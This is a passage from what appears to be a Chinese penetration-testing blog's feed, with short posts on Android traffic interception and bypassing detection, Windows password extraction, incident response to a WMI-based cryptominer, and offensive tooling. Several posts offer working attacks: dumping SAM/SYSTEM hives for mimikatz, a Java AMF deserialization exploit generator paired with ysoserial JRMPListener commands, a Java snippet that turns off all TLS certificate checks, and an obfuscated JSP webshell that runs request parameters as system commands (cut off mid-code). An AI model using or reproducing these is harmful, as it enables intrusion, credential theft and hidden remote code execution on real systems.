class="hljs bash">iptables -t nat -D OUTPUT -p tcp -m owner --uid-owner 进程所有者 -j DNAT --to-destination 代理ip:端口<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>app测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>app测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>使用面具zygisk绕过app环境检测</title>
    <link href="/2022/10/18/92/"/>
    <url>/2022/10/18/92/</url>
    
    <content type="html"><![CDATA[<p>在面具设置中开启Zygisk并关闭遵守排除列表，暂时不要重启手机，在配置排除列表里勾选上需要测试的app即可<br><img src="/images/92/1.png"></p>]]></content>
    
    
    <categories>
      
      <category>app测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>app测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>使用面具LSPosed模块绕过代理检测</title>
    <link href="/2022/10/18/91/"/>
    <url>/2022/10/18/91/</url>
    
    <content type="html"><![CDATA[<p>准备两个文件</p><p>一、<a href="/file/LSPosed-v1.8.5-6649-zygisk-release.zip">点击下载LSPosed-v1.8.5-6649-zygisk-release.zip</a><br>二、<a href="/file/TrustMeAlready-v1.11-release.apk">点击下载TrustMeAlready-v1.11-release.apk</a></p><p>其中<code>LSPosed-v1.8.5-6649-zygisk-release.zip</code>使用面具安装（模块-从本地安装）<br><img src="/images/91/1.png"></p><p>安装好后把<code>TrustMeAlready-v1.11-release.apk</code>安装到测试机，随后打开LSPosed，激活TrustMeAlready后，勾选需要抓包的app即可，<br><img src="/images/91/2.png"><br>剩下的就按照正常抓包那样配置代理就行了</p>]]></content>
    
    
    <categories>
      
      <category>app测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>app测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>windows查看程序运行参数</title>
    <link href="/2022/10/11/90/"/>
    <url>/2022/10/11/90/</url>
    
    <content type="html"><![CDATA[<p>wmic查看程序运行命令</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>wmic process <span class="hljs-built_in">where</span> caption=<span class="hljs-string">&quot;cmd.exe&quot;</span> get caption,commandline /value<br><br></code></pre></div></td></tr></table></figure><p><img src="/images/90/1.png"></p>]]></content>
    
    
    <categories>
      
      <category>应急响应</category>
      
    </categories>
    
    
    <tags>
      
      <tag>应急</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>windows提取密码</title>
    <link href="/2022/09/11/89/"/>
    <url>/2022/09/11/89/</url>
    
    <content type="html"><![CDATA[<p>利用注册表将文件导出</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">reg save hklm\sam sam.hive<br>reg save hklm\system system.hive<br></code></pre></div></td></tr></table></figure><p>把文件保存下来到本机<br>执行mimika：</p><figure class="highlight awk"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs awk">lsadump::sam <span class="hljs-regexp">/sam:sam.hive /</span>system:system.hive<br></code></pre></div></td></tr></table></figure><p><img src="/images/89/1.png"></p>]]></content>
    
    
    <categories>
      
      <category>内网渗透</category>
      
    </categories>
    
    
    <tags>
      
      <tag>内网渗透</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>java忽略ssl证书校验</title>
    <link href="/2022/07/07/87/"/>
    <url>/2022/07/07/87/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">static</span> &#123;<br>        <span class="hljs-keyword">try</span> &#123;<br>            SSLContext sslContext = SSLContext.getInstance(<span class="hljs-string">&quot;SSL&quot;</span>, <span class="hljs-string">&quot;SunJSSE&quot;</span>);<br>            sslContext.init(<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> TrustManager[]&#123;<span class="hljs-keyword">new</span> TrustAll()&#125;, <span class="hljs-keyword">new</span> java.security.SecureRandom());<br>            HostnameVerifier ignoreHostnameVerifier = <span class="hljs-keyword">new</span> HostnameVerifier() &#123;<br>                <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">boolean</span> <span class="hljs-title">verify</span><span class="hljs-params">(String s, SSLSession sslsession)</span> </span>&#123;<br>                    <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>;<br>                &#125;<br>            &#125;;<br>            HttpsURLConnection.setDefaultHostnameVerifier(ignoreHostnameVerifier);<br>            HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());<br><br>        &#125; <span class="hljs-keyword">catch</span> (Exception e) &#123;<br>            e.printStackTrace();<br>        &#125;<br>    &#125;<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TrustAll</span> <span class="hljs-keyword">implements</span> <span class="hljs-title">X509TrustManager</span> </span>&#123;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">checkClientTrusted</span><span class="hljs-params">(X509Certificate[] chain, String authType)</span> <span class="hljs-keyword">throws</span> CertificateException </span>&#123;<br>    &#125;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">checkServerTrusted</span><span class="hljs-params">(X509Certificate[] chain, String authType)</span> <span class="hljs-keyword">throws</span> CertificateException </span>&#123;<br>    &#125;<br><br>    <span class="hljs-meta">@Override</span><br>    <span class="hljs-keyword">public</span> X509Certificate[] getAcceptedIssuers() &#123;<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;<br>    &#125;<br>&#125;<br><br><br><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>工具利用</category>
      
    </categories>
    
    
    <tags>
      
      <tag>工具利用</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>base64编解码文件</title>
    <link href="/2022/07/06/86/"/>
    <url>/2022/07/06/86/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">import</span> sun.misc.BASE64Decoder;<br><span class="hljs-keyword">import</span> sun.misc.BASE64Encoder;<br><br><span class="hljs-keyword">import</span> java.io.*;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span>:novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span>:12:05 2022/7/6</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> **/</span><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">B64code</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        <span class="hljs-comment">//解码还原成this.class</span><br><span class="hljs-comment">//        String str = &quot;base64字符串&quot;;</span><br><span class="hljs-comment">//        decoderBase64File(str, &quot;F:\\this.class&quot;);</span><br><br><br><br>        <span class="hljs-comment">//编码到here.txt</span><br>        String base64Code =  encodeBase64File(<span class="hljs-string">&quot;F:\\this.class&quot;</span>);<br>        String Str2 = base64Code.replaceAll(<span class="hljs-string">&quot;(\\r\\n|\\n|\\\\n|\\s)&quot;</span>, <span class="hljs-string">&quot;&quot;</span>);<br>        System.out.println(Str2.trim());<br>        <span class="hljs-keyword">try</span> (FileOutputStream fileOutputStream = <span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">&quot;F:\\this.txt&quot;</span>)) &#123;<br>            <span class="hljs-keyword">byte</span>[] bytes = Str2.getBytes();<br>            fileOutputStream.write(bytes);<br>        &#125;<br>        &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">encodeBase64File</span><span class="hljs-params">(String path)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        File file = <span class="hljs-keyword">new</span> File(path);<br>        FileInputStream inputFile = <span class="hljs-keyword">new</span> FileInputStream(file);<br>        <span class="hljs-keyword">byte</span>[] buffer = <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[(<span class="hljs-keyword">int</span>)file.length()];<br>        inputFile.read(buffer);<br>        inputFile.close();<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> BASE64Encoder().encode(buffer);<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">decoderBase64File</span><span class="hljs-params">(String base64Code,String targetPath)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        <span class="hljs-keyword">byte</span>[] buffer = <span class="hljs-keyword">new</span> BASE64Decoder().decodeBuffer(base64Code);<br>        FileOutputStream out = <span class="hljs-keyword">new</span> FileOutputStream(targetPath);<br>        out.write(buffer);<br>        out.close();<br>    &#125;<br>    &#125;<br><br><br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>工具利用</category>
      
    </categories>
    
    
    <tags>
      
      <tag>工具利用</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>记录一次应急响应</title>
    <link href="/2022/06/02/84/"/>
    <url>/2022/06/02/84/</url>
    
    <content type="html"><![CDATA[<p>背景：<br>说是edr一直告警，技术初步排查找不到对应计划任务及开机启动，告警却每20分钟触发一次，寻求远程支持</p><p>首先按照常规看的确没看到异常项<br>然后看看系统日志<br>日志显示主机从2020年1月12日之前已经被控，日志记录到12号凌晨五点，再往前就没有powershell日志，从12号开始一直通过powershell执行命令<br>从命令来看用的是无文件攻击技术<br> <img src="/images/84/1.png" alt="image"><br>取日志内容Base64解码内容<br>  <img src="/images/84/2.png" alt="image"><br>分析内容发现，攻击者通过绑定WMI事件，注册stem_Anti_Virus_Core类，向system_Anti_Virus_Core的属性中写入恶意利用，即只要WMI服务运行，当监控到指定事件发生时，就会执行攻击者预先设定好的功能<br>使用工具查看wmi启动项为空<br>  <img src="/images/84/3.png" alt="image"><br>使用系统自带的wbemtest.exe查看WMI测试器<br>  <img src="/images/84/4.png" alt="image"><br>从枚举出来的类中滑到最后发现System_Anti_Virus_Core类<br>  <img src="/images/84/5.png" alt="image"><br>打开\.\root\default:System_Anti_Virus_Core类，发现写入的异常属性<br>  <img src="/images/84/6.png" alt="image"><br>解码得到<br>  <img src="/images/84/7.png" alt="image"></p><p>  <img src="/images/84/8.png" alt="image"><br>   <img src="/images/84/9.png" alt="image"><br>从以上行为特征看符合挖矿程序行为</p><p>百度一下这个挖矿程序<br>根据这个挖矿程序的特征找到了<br>2020年1月16日建的ipsec<br>Netbc<br> <img src="/images/84/10.png" alt="image"></p><p>未发现多余的账号<br>   <img src="/images/84/11.png" alt="image"></p><p>未发现可疑的计划任务</p><p>  <img src="/images/84/12.png" alt="image"><br><img src="/images/84/13.png" alt="image"><br>未发现可疑的开机启动<br>  <img src="/images/84/14.png" alt="image"></p><p>最后处置：<br>1、删除System_Anti_Virus_Core及相关实例<br>2、删除杀软查出来的所有东西<br>3、删除查出来的ip策略<br>4、新建一个规则，禁用445、135、137、138、139端口<br>5、做一次全盘扫描，查杀后重启<br>6、开机后再扫一次，观察20分钟，没问题修改密码</p><p>出站：<br>  <img src="/images/84/14.png" alt="image"><br>入站：<br>  <img src="/images/84/15.png" alt="image"></p><p>参考<br><a href="https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/coinminer.ps1.malxmr.ae">https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/coinminer.ps1.malxmr.ae</a><br><a href="https://www.csdn.net/tags/Ntjacg4sNTk3NjgtYmxvZwO0O0OO0O0O.html">https://www.csdn.net/tags/Ntjacg4sNTk3NjgtYmxvZwO0O0OO0O0O.html</a><br><a href="https://blog.css8.cn/post/5331323.html">https://blog.css8.cn/post/5331323.html</a><br><a href="https://bbs.sangfor.com.cn/forum.php?mod=viewthread&amp;tid=88969">https://bbs.sangfor.com.cn/forum.php?mod=viewthread&amp;tid=88969</a><br><a href="https://sec.lz520520.com/2019/10/280/">https://sec.lz520520.com/2019/10/280/</a></p>]]></content>
    
    
    <categories>
      
      <category>应急响应</category>
      
    </categories>
    
    
    <tags>
      
      <tag>应急响应</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>改造一个基于jrmp的AMF反序列化利用工具</title>
    <link href="/2022/06/01/85/"/>
    <url>/2022/06/01/85/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">import</span> flex.messaging.io.SerializationContext;<br><span class="hljs-keyword">import</span> flex.messaging.io.amf.*;<br><br><span class="hljs-keyword">import</span> java.io.*;<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span> novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span> 2022/6/1 11:45</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AMF_JRMP</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        String text = <span class="hljs-string">&quot;&quot;</span> +<br>                <span class="hljs-string">&quot;\n&quot;</span> +<br>                <span class="hljs-string">&quot; _______  __    __  .______     ______   \n&quot;</span> +<br>                <span class="hljs-string">&quot;|   ____||  |  |  | |   _  \\   /  __  \\  \n&quot;</span> +<br>                <span class="hljs-string">&quot;|  |__   |  |  |  | |  |_)  | |  |  |  | \n&quot;</span> +<br>                <span class="hljs-string">&quot;|   __|  |  |  |  | |   ___/  |  |  |  | \n&quot;</span> +<br>                <span class="hljs-string">&quot;|  |     |  `--&#x27;  | |  |      |  `--&#x27;  | \n&quot;</span> +<br>                <span class="hljs-string">&quot;|__|      \\______/  | _|       \\______/  \n&quot;</span> +<br>                <span class="hljs-string">&quot;by novy                                      \n\n&quot;</span>;<br>        System.out.println(text);<br>        String help = <span class="hljs-string">&quot;java -jar amfpoc.jar 0.0.0.0 1234&quot;</span>;<br>        <span class="hljs-keyword">if</span> (args.length==<span class="hljs-number">0</span>)&#123;<br>            System.out.println(<span class="hljs-string">&quot;请输入完整的参数:java -jar amfpoc.jar 启动jrmp服务的ip 启动jrmp服务的端口\ne,g：\n\n&quot;</span>+help);<br>            System.exit(<span class="hljs-number">0</span>);<br>        &#125;<br>        <span class="hljs-keyword">if</span> (args[<span class="hljs-number">0</span>]==<span class="hljs-keyword">null</span>)&#123;<br>            System.out.println(<span class="hljs-string">&quot;请输入已经启动jrmp服务的ip&quot;</span>);<br>        &#125;<br>        <span class="hljs-keyword">if</span> (args[<span class="hljs-number">1</span>]==<span class="hljs-keyword">null</span>)&#123;<br>            System.out.println(<span class="hljs-string">&quot;请输入已经启动jrmp服务的端口&quot;</span>);<br>        &#125;<br>        Object object = generateUnicastRef(args[<span class="hljs-number">0</span>], Integer.parseInt(args[<span class="hljs-number">1</span>]));<span class="hljs-comment">//jrmp启动地址、端口</span><br>        <span class="hljs-keyword">byte</span>[] amf = serialize(object);<br><br>        <span class="hljs-comment">//生成数据</span><br>        ByteArrayOutputStream out = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>        out.write(amf);<br>        FileOutputStream fileOutputStream = <span class="hljs-keyword">new</span> FileOutputStream( <span class="hljs-keyword">new</span> File(<span class="hljs-string">&quot;out.amf&quot;</span>));<br>        out.writeTo(fileOutputStream) ;<br>        out.flush();<br>        System.out.println(<span class="hljs-string">&quot;在当前目录生成out.amf成功！&quot;</span>);<br><br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title">generateUnicastRef</span><span class="hljs-params">(String host, <span class="hljs-keyword">int</span> port)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        java.rmi.server.ObjID objId = <span class="hljs-keyword">new</span> java.rmi.server.ObjID();<br>        sun.rmi.transport.tcp.TCPEndpoint endpoint = <span class="hljs-keyword">new</span> sun.rmi.transport.tcp.TCPEndpoint(host, port);<br>        sun.rmi.transport.LiveRef liveRef = <span class="hljs-keyword">new</span> sun.rmi.transport.LiveRef(objId, endpoint, <span class="hljs-keyword">false</span>);<br>        <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> sun.rmi.server.UnicastRef(liveRef);<br>    &#125;<br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] serialize(Object data) <span class="hljs-keyword">throws</span> IOException &#123;<br>        MessageBody body = <span class="hljs-keyword">new</span> MessageBody();<br>        body.setData(data);<br>        ActionMessage message = <span class="hljs-keyword">new</span> ActionMessage();<br>        message.addBody(body);<br>        ByteArrayOutputStream out = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>        AmfMessageSerializer serializer = <span class="hljs-keyword">new</span> AmfMessageSerializer();<br>        serializer.initialize(SerializationContext.getSerializationContext(), out, <span class="hljs-keyword">null</span>);<br>        serializer.writeMessage(message);<br>        <span class="hljs-keyword">return</span> out.toByteArray();<br>    &#125;<br><br>    <span class="hljs-comment">//用来验证</span><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ActionMessage <span class="hljs-title">deserialize</span><span class="hljs-params">(<span class="hljs-keyword">byte</span>[] amf)</span> <span class="hljs-keyword">throws</span> ClassNotFoundException, IOException </span>&#123;<br>        ByteArrayInputStream in = <span class="hljs-keyword">new</span> ByteArrayInputStream(amf);<br>        AmfMessageDeserializer deserializer = <span class="hljs-keyword">new</span> AmfMessageDeserializer();<br>        deserializer.initialize(SerializationContext.getSerializationContext(), in, <span class="hljs-keyword">null</span>);<br>        ActionMessage actionMessage = <span class="hljs-keyword">new</span> ActionMessage();<br>        deserializer.readMessage(actionMessage, <span class="hljs-keyword">new</span> ActionContext());<br>        <span class="hljs-keyword">return</span> actionMessage;<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><h1 id="使用说明"><a href="#使用说明" class="headerlink" title="使用说明"></a>使用说明</h1><p>只适用于出网的机器</p><p>将ysoserial放到服务器/vps中，先启动一个jrmp，利用链根据实际情况改</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsBeanutils1 calc<br></code></pre></div></td></tr></table></figure><p>然后本地运行这个AMFpoc_JRMP.jar</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -jar AMFpoc_JRMP.jar 起服务的ip 起服务的端口<br></code></pre></div></td></tr></table></figure><p>比如这样</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">java -jar AMFpoc_JRMP.jar 127.0.0.1 1234<br></code></pre></div></td></tr></table></figure><p>他会生成一个out.amf,使用burp右键选择pasted from file，选这个out.amf发送就可以触发</p>]]></content>
    
    
    <categories>
      
      <category>工具利用</category>
      
    </categories>
    
    
    <tags>
      
      <tag>工具利用</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>整合一个jsp webshell</title>
    <link href="/2022/06/01/83/"/>
    <url>/2022/06/01/83/</url>
    
    <content type="html"><![CDATA[<p>根据pmiaowu大佬的<a href="https://www.yuque.com/pmiaowu/gpy1q8/azbxxf">Java小trick之在懵逼中为Random跪下</a>整合的jsp webshell</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;%@ page contentType=<span class="hljs-string">&quot;text/html;charset=UTF-8&quot;</span> language=<span class="hljs-string">&quot;java&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;java.io.InputStream&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;java.lang.reflect.Method&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;java.util.*&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;java.lang.reflect.Constructor&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;org.apache.commons.io.*&quot;</span> %&gt;<br>&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">&quot;java.io.ByteArrayOutputStream&quot;</span> %&gt;<br><br>&lt;%!<br>    <span class="hljs-comment">/**</span><br><span class="hljs-comment">     *</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@param</span> i 随机参数</span><br><span class="hljs-comment">     * <span class="hljs-doctag">@return</span></span><br><span class="hljs-comment">     */</span><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">seedConversionString</span><span class="hljs-params">(<span class="hljs-keyword">long</span> i)</span> </span>&#123;<br>        Random ran = <span class="hljs-keyword">new</span> Random(i);<br>        StringBuilder sb = <span class="hljs-keyword">new</span> StringBuilder();<br>        <span class="hljs-keyword">while</span> (<span class="hljs-keyword">true</span>) &#123;<br>            <span class="hljs-keyword">int</span> k = ran.nextInt(<span class="hljs-number">96</span>);<br>            <span class="hljs-keyword">if</span> (k == <span class="hljs-number">0</span>) &#123;<br>                <span class="hljs-keyword">break</span>;<br>            &#125;<br>            sb.append((<span class="hljs-keyword">char</span>) (<span class="hljs-number">31</span> + k));<br>        &#125;<br>        <span class="hljs-keyword">return</span> sb.toString();<br>    &#125;<br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> String <span class="hljs-title">seedListConversionString</span><span class="hljs-params">(<span class="hljs-keyword">long</span>[] is)</span> </span>&#123;<br>        StringBuilder dataSource = <span class="hljs-keyword">new</span> StringBuilder();<br>        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">long</span> seed : is) &#123;<br>            dataSource.append(seedConversionString(seed));<br>        &#125;<br>        <span class="hljs-keyword">return</span> dataSource.toString();<br>    &#125;<br><br><br>%&gt;<br>&lt;%<br>    String str = request.getParameter(<span class="hljs-string">&quot;str&quot;</span>);<br><br>    <span class="hljs-keyword">long</span>[] seedList = &#123;-<span class="hljs-number">2080435608</span>, -<span class="hljs-number">2060785532</span>, -<span class="hljs-number">2147149194</span>,<br>        -<span class="hljs-number">2107467938</span>, -<span class="hljs-number">1949527326</span>, -<span class="hljs-number">2146859157</span>&#125;;<br>    String random = seedListConversionString(seedList);<br>    Class randomClass = Class.forName(random);<br>    Constructor randomConstructor =<br>        randomClass.getDeclaredConstructor();<br>    randomConstructor.setAccessible(<span class="hljs-keyword">true</span>);<br>    Object randomInstance = randomConstructor.newInstance();<br><br>    <span class="hljs-keyword">long</span>[] seedList2 = &#123;-<span class="hljs-number">2146857803</span>,-<span class="hljs-number">2145923417</span>&#125;;<br>    String random2 = seedListConversionString(seedList2);<br>    Method randmoMethod = randomClass.getMethod(random2,<br>        String.class);<br>    Process p = (Process) randmoMethod.invoke(randomInstance,<br>        str);<br>    InputStream results = p.getInputStream();<br>    ByteArrayOutputStream baos = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>    <span class="hljs-keyword">byte</span>[] b = <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-number">1024</span>];<br>    <span class="hljs-keyword">int</span> a = -<span class="hljs-number">1</span>;<br><br>    <span class="hljs-keyword">while</span> ((a = results.read(b)) != -<span class="hljs-number">1</span>) &#123;<br>        baos.write(b, 